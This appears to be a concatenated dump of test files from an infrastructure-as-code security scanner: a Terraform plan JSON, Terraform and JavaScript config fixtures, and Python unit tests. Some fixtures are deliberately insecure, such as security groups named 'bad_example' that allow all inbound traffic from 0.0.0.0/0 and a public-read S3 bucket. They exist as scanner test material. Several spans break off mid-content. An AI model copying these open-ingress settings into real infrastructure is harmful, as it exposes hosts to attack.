} ], "tags_all": {} } } }, { "address": "module.sg[\"bad_example\"].aws_security_group.bad", "module_address": "module.sg[\"bad_example\"]", "mode": "managed", "type": "aws_security_group", "name": "bad", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": "Managed by Terraform", "ingress": [ { "cidr_blocks": [ "0.0.0.0/0" ], "description": "Allow all inbound traffic", "from_port": 0, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "-1", "security_groups": [], "self": false, "to_port": 65535 } ], "name": "bad_example", "revoke_rules_on_delete": false, "tags": null, "timeouts": null, "vpc_id": "vpc-123456abc" }, "after_unknown": { "arn": true, "egress": true, "id": true, "ingress": [ { "cidr_blocks": [ false ], "ipv6_cidr_blocks": [], "prefix_list_ids": [], "security_groups": [] } ], "name_prefix": true, "owner_id": true, "tags_all": true }, "before_sensitive": false, "after_sensitive": { "egress": [], "ingress": [ { "cidr_blocks": [ false ], "ipv6_cidr_blocks": [], "prefix_list_ids": [], "security_groups": [] } ], "tags_all": {} } } }, { "address": "module.sg[\"terrible_example\"].aws_security_group.bad", "module_address": "module.sg[\"terrible_example\"]", "mode": "managed", "type": "aws_security_group", "name": "bad", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": "Managed by Terraform", "ingress": [ { "cidr_blocks": [ "0.0.0.0/0" ], "description": "Allow all inbound traffic", "from_port": 0, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "-1", "security_groups": [], "self": false, "to_port": 65535 } ], "name": "terrible_example", "revoke_rules_on_delete": false, "tags": null, "timeouts": null, "vpc_id": "vpc-123456abc" }, "after_unknown": { "arn": true, "egress": true, "id": true, "ingress": [ { "cidr_blocks": [ false ], "ipv6_cidr_blocks": [], "prefix_list_ids": [], "security_groups": [] } ], "name_prefix": true, "owner_id": true, "tags_all": true }, "before_sensitive": false, "after_sensitive": { "egress": [], "ingress": [ { "cidr_blocks": [ false ], "ipv6_cidr_blocks": [], "prefix_list_ids": [], "security_groups": [] } ], "tags_all": {} } } } ], "prior_state": { "format_version": "1.0", "terraform_version": "1.9.5", "values": { "root_module": { "resources": [ { "address": "data.aws_subnet.private", "mode": "data", "type": "aws_subnet", "name": "private", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "arn": "arn:aws:ec2:us-east-1:073481610293:subnet/subnet-04c460d388900659b", "assign_ipv6_address_on_creation": false, "availability_zone": "us-east-1c", "availability_zone_id": "use1-az1", "available_ip_address_count": 248, "cidr_block": "10.213.220.0/24", "customer_owned_ipv4_pool": "", "default_for_az": false, "enable_dns64": false, "enable_lni_at_device_index": 0, "enable_resource_name_dns_a_record_on_launch": false, "enable_resource_name_dns_aaaa_record_on_launch": false, "filter": [ { "name": "tag:Name", "values": [ "dev-vpc" ] } ], "id": "subnet-04c460d388900659b", "ipv6_cidr_block": "", "ipv6_cidr_block_association_id": "", "ipv6_native": false, "map_customer_owned_ip_on_launch": false, "map_public_ip_on_launch": false, "outpost_arn": "", "owner_id": "073481610293", "private_dns_hostname_type_on_launch": "ip-name", "state": "available", "tags": { "Name": "dev-vpc", "karpenter.sh/discovery": "true", "kubernetes.io/role/internal-elb": "1" }, "timeouts": null, "vpc_id": "vpc-123456abc" }, "sensitive_values": { "filter": [ { "values": [ false ] } ], "tags": {} } }, { "address": "data.aws_vpc.sandbox", "mode": "data", "type": "aws_vpc", "name": "sandbox", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "arn": "arn:aws:ec2:us-east-1:073481610293:vpc/vpc-123456abc", "cidr_block": "10.213.220.0/22", "cidr_block_associations": [ { "association_id": "vpc-cidr", "cidr_block": "10.213.220.0/22", "state": "associated" } ], "default": false, "dhcp_options_id": "dopt-123456abc", "enable_dns_hostnames": true, "enable_dns_support": true, "enable_network_address_usage_metrics": true, "filter": [ { "name": "tag:Name", "values": [ "dev-vpc" ] } ], "id": "vpc-123456abc", "instance_tenancy": "default", "ipv6_association_id": "", "ipv6_cidr_block": "", "main_route_table_id": "", "owner_id": "073481610293", "state": null, "timeouts": null }, "sensitive_values": { "cidr_block_associations": [ {} ], "filter": [ { "values": [ false ] } ], "tags": {} } } ] } } }, "configuration": { "provider_config": { "aws": { "name": "aws", "full_name": "registry.terraform.io/hashicorp/aws" } }, "root_module": { "resources": [ { "address": "aws_route53_zone.example", "mode": "managed", "type": "aws_route53_zone", "name": "example", "provider_config_key": "aws", "expressions": { "name": { "references": [ "each.value" ] } }, "schema_version": 0, "for_each_expression": { "references": [ "local.hosted_zone_names" ] } }, { "address": "data.aws_subnet.private", "mode": "data", "type": "aws_subnet", "name": "private", "provider_config_key": "aws", "expressions": { "filter": [ { "name": { "constant_value": "tag:Name" }, "values": { "constant_value": [ "dev-vpc" ] } } ], "vpc_id": { "references": [ "data.aws_vpc.sandbox.id", "data.aws_vpc.sandbox" ] } }, "schema_version": 0 }, { "address": "data.aws_vpc.sandbox", "mode": "data", "type": "aws_vpc", "name": "sandbox", "provider_config_key": "aws", "expressions": { "filter": [ { "name": { "constant_value": "tag:Name" }, "values": { "constant_value": [ "dev-vpc" ] } } ] }, "schema_version": 0 } ], "module_calls": { "sg": { "source": "./modules/ec2/security_group", "expressions": { "name": { "references": [ "each.value" ] }, "vpc_id": { "references": [ "data.aws_vpc.sandbox.id", "data.aws_vpc.sandbox" ] } }, "for_each_expression": { "references": [ "local.names" ] }, "module": { "outputs": { "aws_security_group_id": { "expression": { "references": [ "aws_security_group.bad.id", "aws_security_group.bad" ] }, "description": "The ID of the security group" } }, "resources": [ { "address": "aws_security_group.bad", "mode": "managed", "type": "aws_security_group", "name": "bad", "provider_config_key": "aws", "expressions": { "ingress": { "constant_value": [ { "cidr_blocks": [ "0.0.0.0/0" ], "description": "Allow all inbound traffic", "from_port": 0, "ipv6_cidr_blocks": null, "prefix_list_ids": null, "protocol": "-1", "security_groups": null, "self": null, "to_port": 65535 } ] }, "name": { "references": [ "var.name" ] }, "vpc_id": { "references": [ "var.vpc_id" ] } }, "schema_version": 1 } ], "variables": { "name": { "description": "The name of the security group" }, "vpc_id": { "description": "The VPC ID to associate with the security group" } } } } } } }, "relevant_attributes": [ { "resource": "module.sg[\"awful_example\"].aws_security_group.bad", "attribute": [ "id" ] }, { "resource": "module.sg[\"terrible_example\"].aws_security_group.bad", "attribute": [ "id" ] }, { "resource": "module.sg[\"bad_example\"].aws_security_group.bad", "attribute": [ "id" ] }, { "resource": "data.aws_vpc.sandbox", "attribute": [ "id" ] } ], "timestamp": "2025-10-21T13:18:15Z", "applyable": true, "complete": true, "errored": false } ================================================ FILE: tests/common/runner_registry/plan_with_hcl_for_enrichment/dynamodb.tf ================================================ resource "aws_dynamodb_table" "cross-environment-violations" { # checkov:skip=CKV_AWS_28: ignoring backups for now name = "CrossEnvironmentViolations" read_capacity = 20 write_capacity = 20 hash_key = "id" attribute { name = "id" type = "S" } provider = aws.current_region } ================================================ FILE: tests/common/runner_registry/plan_with_hcl_for_enrichment/iam.tf ================================================ resource "aws_iam_policy" "policy" { name = "my_policy-123456789101" path = "/" description = "My test policy" policy = < 0 def test_extra_resources_removed_from_report(capsys): # given test_files_dir = os.path.dirname(os.path.realpath(__file__)) + "/example_bicep_with_empty_resources" runner_filter = RunnerFilter(framework=None, checks=None, skip_checks=None) runner_registry = RunnerRegistry( banner, runner_filter, bicep_runner() ) reports = runner_registry.run(root_folder=test_files_dir) config = argparse.Namespace( file=['./example_bicep_with_empty_resources/playground.bicep'], compact=False, output=['json'], quiet=False, soft_fail=False, soft_fail_on=None, hard_fail_on=None, output_file_path=None, use_enforcement_rules=None, skip_resources_without_violations=True ) # when runner_registry.print_reports(scan_reports=reports, config=config) # then for report in reports: assert len(report.extra_resources) == 0 def test_output_file_path_with_output_mapping(tmp_path: Path, capsys: CaptureFixture[str]): # given test_files_dir = Path(__file__).parent / "example_s3_tf" runner_filter = RunnerFilter(framework=None, checks=None, skip_checks=None) runner_registry = RunnerRegistry( banner, runner_filter, tf_runner(), cfn_runner(), k8_runner() ) reports = runner_registry.run(root_folder=str(test_files_dir)) json_file_path = tmp_path / "result.json" xml_file_path = tmp_path / "sub_folder/result.xml" config = argparse.Namespace( file=['./example_s3_tf/main.tf'], compact=False, output=["json", "cli", "junitxml"], quiet=False, soft_fail=False, soft_fail_on=None, hard_fail_on=None, output_file_path=f"{json_file_path},console,{xml_file_path}", use_enforcement_rules=None, output_bc_ids=False, summary_position="top", ) # when runner_registry.print_reports(scan_reports=reports, config=config) # then assert 'By Prisma Cloud' in capsys.readouterr().out assert json_file_path.exists() assert '"check_type": "terraform"' in json_file_path.read_text() assert xml_file_path.exists() assert "' to see more detailed insights via https://bridgecrew.cloud", } ] # when RunnerRegistry.strip_code_blocks_from_json(report_jsons=reports) # then assert reports[0]["results"]["passed_checks"][0]["code_block"] is None assert reports[0]["results"]["passed_checks"][0]["connected_node"] is None def test_merge_runners(): runner_cdk = CdkRunner() runner_sast = SastRunner() runner_tf = TFRunner() valid_runners = [(runner_cdk, None, None, None, None, None, None)] merged_runners = RunnerRegistry(None, None, None)._merge_runners(valid_runners) assert len(merged_runners) == 1 assert isinstance(merged_runners[0][0], CdkRunner) valid_runners = [(runner_sast, None, None, None, None, None, None)] merged_runners = RunnerRegistry(None, None, None)._merge_runners(valid_runners) assert len(merged_runners) == 1 assert isinstance(merged_runners[0][0], SastRunner) valid_runners = [(runner_cdk, None, None, None, None, None, None), (runner_sast, None, None, None, None, None, None)] merged_runners = RunnerRegistry(None, None, None)._merge_runners(valid_runners) assert len(merged_runners) == 1 assert isinstance(merged_runners[0][0], SastRunner) assert len(merged_runners[0][0].cdk_langs) > 0 valid_runners = [(runner_cdk, None, None, None, None, None, None), (runner_tf, None, None, None, None, None, None)] merged_runners = RunnerRegistry(None, None, None)._merge_runners(valid_runners) assert len(merged_runners) == 2 assert isinstance(merged_runners[0][0], CdkRunner) or isinstance(merged_runners[0][0], TFRunner) assert isinstance(merged_runners[1][0], CdkRunner) or isinstance(merged_runners[1][0], TFRunner) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/common/runner_registry/test_runner_registry_plan_enrichment.py ================================================ import unittest from pathlib import Path from pytest_mock import MockerFixture from checkov.common.runners.runner_registry import RunnerRegistry from checkov.common.util.banner import banner from checkov.runner_filter import RunnerFilter from checkov.terraform.module_loading.content import ModuleContent from checkov.terraform.module_loading.registry import module_loader_registry from checkov.terraform.plan_runner import Runner as tf_plan_runner from checkov.terraform.tf_parser import TFParser class TestRunnerRegistryEnrichment(unittest.TestCase): def test_enrichment_of_plan_report(self): allowed_checks = ["CKV_AWS_20", "CKV_AWS_28", "CKV_AWS_63", "CKV_AWS_119"] runner_registry = RunnerRegistry( banner, RunnerFilter(checks=allowed_checks, framework=["terraform_plan"]), tf_plan_runner() ) repo_root = Path(__file__).parent / "plan_with_hcl_for_enrichment" valid_plan_path = repo_root / "tfplan.json" report = runner_registry.run(repo_root_for_plan_enrichment=[repo_root], files=[str(valid_plan_path)])[0] failed_check_ids = {c.check_id for c in report.failed_checks} skipped_check_ids = {c.check_id for c in report.skipped_checks} expected_failed_check_ids = {"CKV_AWS_63", "CKV_AWS_119"} expected_skipped_check_ids = {"CKV_AWS_20", "CKV_AWS_28"} enriched_data = {(c.file_path, tuple(c.file_line_range), tuple(c.code_block)) for c in report.failed_checks} expected_enriched_data = { ( "iam.tf", (1, 19), ( (1, 'resource "aws_iam_policy" "policy" {\n'), (2, ' name = "my_policy-123456789101"\n'), (3, ' path = "/"\n'), (4, ' description = "My test policy"\n'), (5, " policy = < Report: pass ================================================ FILE: tests/common/sca/__init__.py ================================================ ================================================ FILE: tests/common/sca/reachability/__init__.py ================================================ ================================================ FILE: tests/common/sca/reachability/example_repo/tsconfig.json ================================================ { "compilerOptions": { "baseUrl": ".", "paths": { "ax": ["node_modules/axios"] } } } ================================================ FILE: tests/common/sca/reachability/nodejs/__init__.py ================================================ ================================================ FILE: tests/common/sca/reachability/nodejs/examples/babel/babel_config/babel.config.js ================================================ { "plugins": [ ["module-resolver", { "alias": { "ax": "axios" } }] ] } ================================================ FILE: tests/common/sca/reachability/nodejs/examples/babel/babelrc/.babelrc ================================================ { "plugins": [ ["module-resolver", { "alias": { "ax": "axios" } }] ] } ================================================ FILE: tests/common/sca/reachability/nodejs/examples/fake_file/fake.babel.config.js ================================================ { "plugins": [ ["module-resolver", { "alias": { "ax": "axios" } }] ] } ================================================ FILE: tests/common/sca/reachability/nodejs/examples/mix/package_json_with_alias/package.json ================================================ { "alias": { "ax": "axios" } } ================================================ FILE: tests/common/sca/reachability/nodejs/examples/mix/vite.config.js ================================================ export default { resolve: { alias: { "ax": "axios" } } }; ================================================ FILE: tests/common/sca/reachability/nodejs/examples/package_json/package_json_with_alias/package.json ================================================ { "alias": { "ax": "axios" } } ================================================ FILE: tests/common/sca/reachability/nodejs/examples/package_json/package_json_with_aliasify/package.json ================================================ { "aliasify": { "aliases": { "ax": "axios" } } } ================================================ FILE: tests/common/sca/reachability/nodejs/examples/rollup/rollup.config.js ================================================ import alias from '@rollup/plugin-alias'; export default { plugins: [ alias({ entries: [ { find: 'ax', replacement: 'axios' } ] }) ] }; ================================================ FILE: tests/common/sca/reachability/nodejs/examples/snowpack/snowpack.config.js ================================================ module.exports = { alias: { "ax": "axios" } }; ================================================ FILE: tests/common/sca/reachability/nodejs/examples/tsconfig/tsconfig.json ================================================ { "compilerOptions": { "baseUrl": ".", "paths": { "ax": ["node_modules/axios"] } } } ================================================ FILE: tests/common/sca/reachability/nodejs/examples/vite/vite.config.js ================================================ export default { resolve: { alias: { "ax": "axios" } } }; ================================================ FILE: tests/common/sca/reachability/nodejs/examples/webpack/webpack.config.js ================================================ module.exports = { resolve: { alias: { ax: 'axios' } } }; ================================================ FILE: tests/common/sca/reachability/nodejs/test_javascript_alias_mapping_strategy.py ================================================ import os from typing import Dict, Any from checkov.common.sca.reachability.package_alias_mapping.nodejs.nodejs_alias_mapping_strategy import NodejsAliasMappingStrategy current_dir = os.path.dirname(os.path.realpath(__file__)) def test_create_alias_mapping_from_webpack_file(): strategy_object = NodejsAliasMappingStrategy() root_dir = os.path.join(current_dir, "examples", "webpack") alias_mapping: Dict[str, Any] = {"languages": {}} strategy_object.update_alias_mapping(alias_mapping, "supplygoat", root_dir, {'axios'}) assert alias_mapping == {'languages': {'nodejs': {'repositories': {'supplygoat': {'files': {'webpack.config.js': {'packageAliases': {'axios': {'packageAliases': ['ax']}}}}}}}}} def test_create_alias_mapping_from_babelrc_file(): strategy_object = NodejsAliasMappingStrategy() root_dir = os.path.join(current_dir, "examples", "babel", "babelrc") alias_mapping: Dict[str, Any] = {"languages": {}} strategy_object.update_alias_mapping(alias_mapping, "supplygoat", root_dir, {'axios'}) assert alias_mapping == {'languages': {'nodejs': {'repositories': {'supplygoat': {'files': {'.babelrc': {'packageAliases': {'axios': {'packageAliases': ['ax']}}}}}}}}} def test_create_alias_mapping_from_babel_config_file(): strategy_object = NodejsAliasMappingStrategy() root_dir = os.path.join(current_dir, "examples", "babel", "babel_config") alias_mapping: Dict[str, Any] = {"languages": {}} strategy_object.update_alias_mapping(alias_mapping, "supplygoat", root_dir, {'axios'}) assert alias_mapping == {'languages': {'nodejs': {'repositories': {'supplygoat': {'files': {'babel.config.js': {'packageAliases': {'axios': {'packageAliases': ['ax']}}}}}}}}} def test_create_alias_mapping_from_rollup_file(): strategy_object = NodejsAliasMappingStrategy() root_dir = os.path.join(current_dir, "examples", "rollup") alias_mapping: Dict[str, Any] = {"languages": {}} strategy_object.update_alias_mapping(alias_mapping, "supplygoat", root_dir, {'axios'}) assert alias_mapping == {'languages': {'nodejs': {'repositories': {'supplygoat': {'files': {'rollup.config.js': {'packageAliases': {'axios': {'packageAliases': ['ax']}}}}}}}}} def test_create_alias_mapping_from_package_json_alias(): strategy_object = NodejsAliasMappingStrategy() root_dir = os.path.join(current_dir, "examples", "package_json", "package_json_with_alias") alias_mapping: Dict[str, Any] = {"languages": {}} strategy_object.update_alias_mapping(alias_mapping, "supplygoat", root_dir, {'axios'}) assert alias_mapping == {'languages': {'nodejs': {'repositories': {'supplygoat': {'files': {'package.json': {'packageAliases': {'axios': {'packageAliases': ['ax']}}}}}}}}} def test_create_alias_mapping_from_package_json_aliasify(): strategy_object = NodejsAliasMappingStrategy() root_dir = os.path.join(current_dir, "examples", "package_json", "package_json_with_aliasify") alias_mapping: Dict[str, Any] = {"languages": {}} strategy_object.update_alias_mapping(alias_mapping, "supplygoat", root_dir, {'axios'}) assert alias_mapping == {'languages': {'nodejs': {'repositories': {'supplygoat': {'files': {'package.json': {'packageAliases': {'axios': {'packageAliases': ['ax']}}}}}}}}} def test_create_alias_mapping_from_snowpack(): strategy_object = NodejsAliasMappingStrategy() root_dir = os.path.join(current_dir, "examples", "snowpack") alias_mapping: Dict[str, Any] = {"languages": {}} strategy_object.update_alias_mapping(alias_mapping, "supplygoat", root_dir, {'axios'}) assert alias_mapping == {'languages': {'nodejs': {'repositories': {'supplygoat': {'files': {'snowpack.config.js': {'packageAliases': {'axios': {'packageAliases': ['ax']}}}}}}}}} def test_create_alias_mapping_from_vite(): strategy_object = NodejsAliasMappingStrategy() root_dir = os.path.join(current_dir, "examples", "vite") alias_mapping: Dict[str, Any] = {"languages": {}} strategy_object.update_alias_mapping(alias_mapping, "supplygoat", root_dir, {'axios'}) assert alias_mapping == {'languages': {'nodejs': {'repositories': {'supplygoat': {'files': {'vite.config.js': {'packageAliases': {'axios': {'packageAliases': ['ax']}}}}}}}}} def test_create_alias_mapping_mix(): strategy_object = NodejsAliasMappingStrategy() root_dir = os.path.join(current_dir, "examples", "mix") alias_mapping: Dict[str, Any] = {"languages": {}} strategy_object.update_alias_mapping(alias_mapping, "supplygoat", root_dir, {'axios'}) assert alias_mapping == {'languages': {'nodejs': {'repositories': {'supplygoat': {'files': {'vite.config.js': {'packageAliases': {'axios': {'packageAliases': ['ax']}}}, 'package_json_with_alias/package.json': {'packageAliases': {'axios': {'packageAliases': ['ax']}}}}}}}}} def test_create_alias_mapping_from_fake(): strategy_object = NodejsAliasMappingStrategy() root_dir = os.path.join(current_dir, "examples", "fake_file") alias_mapping: Dict[str, Any] = {"languages": {}} strategy_object.update_alias_mapping(alias_mapping, "supplygoat", root_dir, {'axios'}) assert alias_mapping == {'languages': {}} ================================================ FILE: tests/common/sca/reachability/test_alias_mapping_creator.py ================================================ import os from checkov.common.sca.reachability.package_alias_mapping.alias_mapping_creator import AliasMappingCreator from checkov.common.sca.reachability.package_alias_mapping.nodejs.utils import load_json_with_comments current_dir = os.path.dirname(os.path.realpath(__file__)) def test_alias_mapping_creator(): alias_mapping_creator = AliasMappingCreator() alias_mapping_creator.update_alias_mapping_for_repository("example_repo", os.path.join(current_dir, "example_repo"), {'axios'}) alias_mapping = alias_mapping_creator.get_alias_mapping() assert alias_mapping == { "languages": { "nodejs": { "repositories": { "example_repo": { "files": { "tsconfig.json": { "packageAliases": { "axios": { "packageAliases":["ax"] } } } } } } } } } def test_load_json_with_no_comments(): json_data_with_comments = """ { "compilerOptions": { "paths": { "@modules/*": ["src/modules/*"], "@shared/*": ["src/shared/*"] }, "declaration": true, "target": "es2021", "strict": true /* Enable all strict type-checking options. */, "noUnusedLocals": false, // off for convenience, enable to enforce cleaner code "noUnusedParameters": false, // off for convenience, enable to enforce cleaner code "noImplicitAny": false, // off for convenience, recommended value is true to enforce types and reduce bugs "forceConsistentCasingInFileNames": true /* Disallow inconsistently-cased references to the same file. */, "resolveJsonModule": true }, "exclude": ["node_modules", "dist"] } """ clean_json = load_json_with_comments(json_data_with_comments) assert clean_json == { "compilerOptions": { "paths": { "@modules/*": ["src/modules/*"], "@shared/*": ["src/shared/*"] }, "declaration": True, "target": "es2021", "strict": True, "noUnusedLocals": False, "noUnusedParameters": False, "noImplicitAny": False, "forceConsistentCasingInFileNames": True, "resolveJsonModule": True }, "exclude": ["node_modules", "dist"] } ================================================ FILE: tests/common/sca/test_commons.py ================================================ from checkov.common.sca.commons import normalize_twistcli_language def test_normalize_twistcli_language_for_gem(): assert normalize_twistcli_language("gem") == "ruby" def test_normalize_twistcli_language_for_ruby(): assert normalize_twistcli_language("ruby") == "ruby" def test_normalize_twistcli_language_for_empty(): assert normalize_twistcli_language("") == "" def test_normalize_twistcli_language_for_invalid(): assert normalize_twistcli_language("bbb") == "bbb" def test_normalize_twistcli_language_for_python(): assert normalize_twistcli_language("python") == "python" ================================================ FILE: tests/common/sca/test_output.py ================================================ import os from unittest import mock import responses from checkov.common.sca.output import get_license_statuses, _get_request_input def test_get_request_input(): packages_input = [ {"name": "docutils", "version": "0.15.2", "type": "python"}, {"name": "github.com/apparentlymart/go-textseg/v12", "version": "v12.0.0", "lang": "go"}, {"name": "ruby_package", "version": "9.9.9", "type": "ruby"}, {"name": "ruby_package2", "version": "8.8.8", "type": "gem"}, {"name": "empty_type_package", "version": "8.8.8", "type": ""}, {"name": "invalid_type_package", "version": "8.8.8", "type": "bbbbb"} ] request_input = _get_request_input(packages_input) assert request_input == [ {'name': 'docutils', 'version': '0.15.2', 'lang': 'python'}, {'name': 'github.com/apparentlymart/go-textseg/v12', 'version': 'v12.0.0', 'lang': ''}, {'name': 'ruby_package', 'version': '9.9.9', 'lang': 'ruby'}, {'name': 'ruby_package2', 'version': '8.8.8', 'lang': 'ruby'}, {'name': 'empty_type_package', 'version': '8.8.8', 'lang': ''}, {'name': 'invalid_type_package', 'version': '8.8.8', 'lang': 'bbbbb'} ] @responses.activate def test_licenses_status(mock_bc_integration): packages_input = [ {"name": "docutils", "version": "0.15.2", "lang": "python"}, {"name": "github.com/apparentlymart/go-textseg/v12", "version": "v12.0.0", "lang": "go"} ] response_json = { "violations": [ { "name": "github.com/apparentlymart/go-textseg/v12", "version": "v12.0.0", "license": "Apache-2.0", "policy": "BC_LIC_1", "status": "COMPLIANT" }, { "name": "docutils", "version": "0.15.2", "license": "Apache-2.0", "policy": "BC_LIC_1", "status": "COMPLIANT" }, ] } # given responses.add( method=responses.POST, url=mock_bc_integration.api_url + "/api/v1/vulnerabilities/packages/get-licenses-violations", json=response_json, status=200 ) license_statuses = get_license_statuses(packages_input) assert license_statuses == [ { "package_name": "github.com/apparentlymart/go-textseg/v12", "package_version": "v12.0.0", "policy": "BC_LIC_1", "license": "Apache-2.0", "status": "COMPLIANT", }, { "package_name": "docutils", "package_version": "0.15.2", "policy": "BC_LIC_1", "license": "Apache-2.0", "status": "COMPLIANT", }, ] @mock.patch.dict(os.environ, {"REQUEST_MAX_TRIES": "1", "SLEEP_BETWEEN_REQUEST_TRIES": "0.01"}) @responses.activate def test_licenses_status_on_failure(mock_bc_integration): # given packages_input = [ {"name": "docutils", "version": "0.15.2", "lang": "python"}, {"name": "github.com/apparentlymart/go-textseg/v12", "version": "v12.0.0", "lang": "go"} ] responses.add( method=responses.POST, url=mock_bc_integration.api_url + "/api/v1/vulnerabilities/packages/get-licenses-violations", status=500 ) # when # we expect no failure here, in case of a http/connection error license_statuses = get_license_statuses(packages_input) # then assert len(license_statuses) == 0 ================================================ FILE: tests/common/secrets_omitter/__init__.py ================================================ ================================================ FILE: tests/common/secrets_omitter/test_secrets_omitter.py ================================================ import pytest from checkov.common.bridgecrew.check_type import CheckType from checkov.common.models.enums import CheckResult from checkov.common.output.record import Record from checkov.common.output.report import Report from checkov.common.util.secrets_omitter import SecretsOmitter, SecretsOmitterStatus @pytest.mark.parametrize( "r1,r2,expected_result", [ ([10, 20], [15, 17], True), ([10, 20], [18, 21], True), ([10, 20], [9, 12], True), ([10, 20], [20, 25], True), ([10, 20], [30, 40], False) ], ) def test_line_ranges_overlap(r1, r2, expected_result): assert expected_result == SecretsOmitter._line_range_overlaps(r1, r2) @pytest.mark.parametrize( "code_block,expected_range,expected_lines", [ ([(1, 'ab***'), (2, 'abcd')], [1, 1], ['ab***']), ([(1, 'abcd'), (2, 'abc')], [-1, -1], []), ([(1, 'ab***'), (2, 'bc*'), (3, 'efg******')], [1, 3], ['ab***', 'bc*', 'efg******']) ], ) def test_get_secret_lines(code_block, expected_range, expected_lines): line_range, lines = SecretsOmitter.get_secret_lines(code_block) assert line_range == expected_range assert lines == expected_lines @pytest.mark.parametrize( "reports", [ ([Report(CheckType.SECRETS)]), ([Report(CheckType.GITHUB_ACTIONS)]) ], ) def test_omit_insufficient_reports(reports): assert SecretsOmitter(reports).omit() == SecretsOmitterStatus.INSUFFICIENT_REPORTS def test_omit(): file_path = 'filepath' failed_secrets_record = Record(check_id='a', check_name='a', check_result={"result": CheckResult.FAILED}, code_block=[(1, 'ab***'), (2, 'bc*'), (3, 'efg******'), (4, 'abcd'), (5, 'abc')], file_path=file_path, file_line_range=[], resource='', evaluations={}, check_class='', file_abs_path='' ) secrets_report = Report(CheckType.SECRETS) secrets_report.add_record(failed_secrets_record) record = Record(check_id='b', check_name='b', check_result={"result": CheckResult.PASSED}, code_block=[(2, 'SECRET'), (3, 'SECRET'), (4, 'abcd'), (5, 'abc')], file_path=file_path, file_line_range=[2, 5], resource='', evaluations={}, check_class='', file_abs_path='' ) report = Report(CheckType.GITHUB_ACTIONS) report.add_record(record) res = SecretsOmitter([secrets_report, report]).omit() assert res == SecretsOmitterStatus.SUCCESS assert report.passed_checks[0].code_block == [(2, 'bc*'), (3, 'efg******'), (4, 'abcd'), (5, 'abc')] def test_omit_should_skip(): """ This test verifies that records containing None in file_line_range will be skipped """ file_path = 'filepath' failed_secrets_record = Record(check_id='a', check_name='a', check_result={"result": CheckResult.FAILED}, code_block=[(1, 'ab***'), (2, 'bc*'), (3, 'efg******'), (4, 'abcd'), (5, 'abc')], file_path=file_path, file_line_range=[], resource='', evaluations={}, check_class='', file_abs_path='' ) secrets_report = Report(CheckType.SECRETS) secrets_report.add_record(failed_secrets_record) record = Record(check_id='b', check_name='b', check_result={"result": CheckResult.PASSED}, code_block=[(2, 'SECRET'), (3, 'SECRET'), (4, 'abcd'), (5, 'abc')], file_path=file_path, file_line_range=[2, None], resource='', evaluations={}, check_class='', file_abs_path='' ) report = Report(CheckType.GITHUB_ACTIONS) report.add_record(record) res = SecretsOmitter([secrets_report, report]).omit() assert res == SecretsOmitterStatus.SUCCESS # Asserting code block is unchanged assert report.passed_checks[0].code_block == [(2, 'SECRET'), (3, 'SECRET'), (4, 'abcd'), (5, 'abc')] def test_omit_with_abs_file_path(): abs_file_path = 'abs/filepath' failed_secrets_record = Record(check_id='a', check_name='a', check_result={"result": CheckResult.FAILED}, code_block=[(1, 'ab***'), (2, 'bc*'), (3, 'efg******'), (4, 'abcd'), (5, 'abc')], file_path=abs_file_path, file_line_range=[], resource='', evaluations={}, check_class='', file_abs_path=abs_file_path ) secrets_report = Report(CheckType.SECRETS) secrets_report.add_record(failed_secrets_record) record = Record(check_id='b', check_name='b', check_result={"result": CheckResult.PASSED}, code_block=[(2, 'SECRET'), (3, 'SECRET'), (4, 'abcd'), (5, 'abc')], file_path='different_file_path', file_line_range=[2, 5], resource='', evaluations={}, check_class='', file_abs_path=abs_file_path ) report = Report(CheckType.GITHUB_ACTIONS) report.add_record(record) res = SecretsOmitter([secrets_report, report]).omit() assert res == SecretsOmitterStatus.SUCCESS assert report.passed_checks[0].code_block == [(2, 'bc*'), (3, 'efg******'), (4, 'abcd'), (5, 'abc')] ================================================ FILE: tests/common/suppressions_resources/suppressions.tf ================================================ # this file is meant to be run with the following checks enabled: CKV_AWS_21, CKV_AWS_18, CKV_AWS_79, CKV_AWS_19 # (or anything else with no hardcoded suppressions) resource "aws_s3_bucket" "financials" { # expected platform suppressions: CKV_AWS_21 (Resource), CKV_AWS_18 (Account) bucket = "${local.resource_prefix.value}-financials" acl = "private" force_destroy = true } resource "aws_s3_bucket" "operations" { # expected platform suppressions: CKV_AWS_21 (Tags), CKV_AWS_18 (Account) bucket = "${local.resource_prefix.value}-operations" acl = "private" force_destroy = true tags = { Name = "${local.resource_prefix.value}-operations" Environment = "418408045322-acme-dev" } } resource "aws_s3_bucket" "hello" { # expected platform suppressions: CKV_AWS_18 (Account) bucket = "${local.resource_prefix.value}-data" acl = "public-read" force_destroy = true tags = { Name = "${local.resource_prefix.value}-data" Environment = local.resource_prefix.value } } resource "aws_instance" "web_host" { # expected platform suppressions: CKV_AWS_79 (Policy) ami = "${var.ami}" instance_type = "t2.nano" vpc_security_group_ids = [ "${aws_security_group.web-node.id}"] subnet_id = "${aws_subnet.web_subnet.id}" user_data = <Deployed via Terraform" | sudo tee /var/www/html/index.html EOF tags = { Name = "${local.resource_prefix.value}-ec2" } } ================================================ FILE: tests/common/test_platform_integration.py ================================================ import base64 import os import random import unittest import uuid from unittest import mock from checkov.common.bridgecrew.bc_source import get_source_type from checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import \ PolicyMetadataIntegration from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration from checkov.common.bridgecrew.severities import Severities, BcSeverities from checkov.common.checks.base_check_registry import BaseCheckRegistry class TestBCApiUrl(unittest.TestCase): @mock.patch.dict(os.environ, {'BC_API_URL': 'foo'}) def test_overriding_bc_api_url(self): instance = BcPlatformIntegration() self.assertEqual(instance.api_url, "foo") @staticmethod def get_random_string(): len = random.randrange(5, 50) chars = [] for i in range(0, len): chars.append(chr(random.randrange(32, 127))) return ''.join(chars) def test_is_token_valid(self): uuids = [] for i in range(0, 1000): uuids.append(str(uuid.uuid4())) # validate BC API keys for u in uuids: self.assertTrue(BcPlatformIntegration.is_token_valid(u)) # generate Prisma access keys, which are UUIDs (just reuse the ones from above), # and secret keys, which are b64 encoded strings for i in range(0, len(uuids)): string_to_encode = self.get_random_string() encoded = 